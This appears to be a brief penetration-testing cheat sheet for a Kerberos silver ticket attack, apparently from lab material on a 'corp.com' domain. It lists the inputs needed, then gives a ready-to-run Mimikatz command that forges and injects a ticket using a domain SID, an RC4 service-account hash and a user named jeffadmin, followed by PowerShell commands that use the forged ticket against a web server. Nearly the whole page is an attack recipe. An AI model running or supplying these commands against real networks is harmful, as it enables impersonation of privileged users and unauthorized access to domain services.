Skip to main content

silver_ticket

Silver ticket​

  • SPN password hash
  • Domain SID ()
  • Target SPN

Mimikatz

privilege::debug
kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin

Powershell

klist
iwr -UseDefaultCredentials http://web04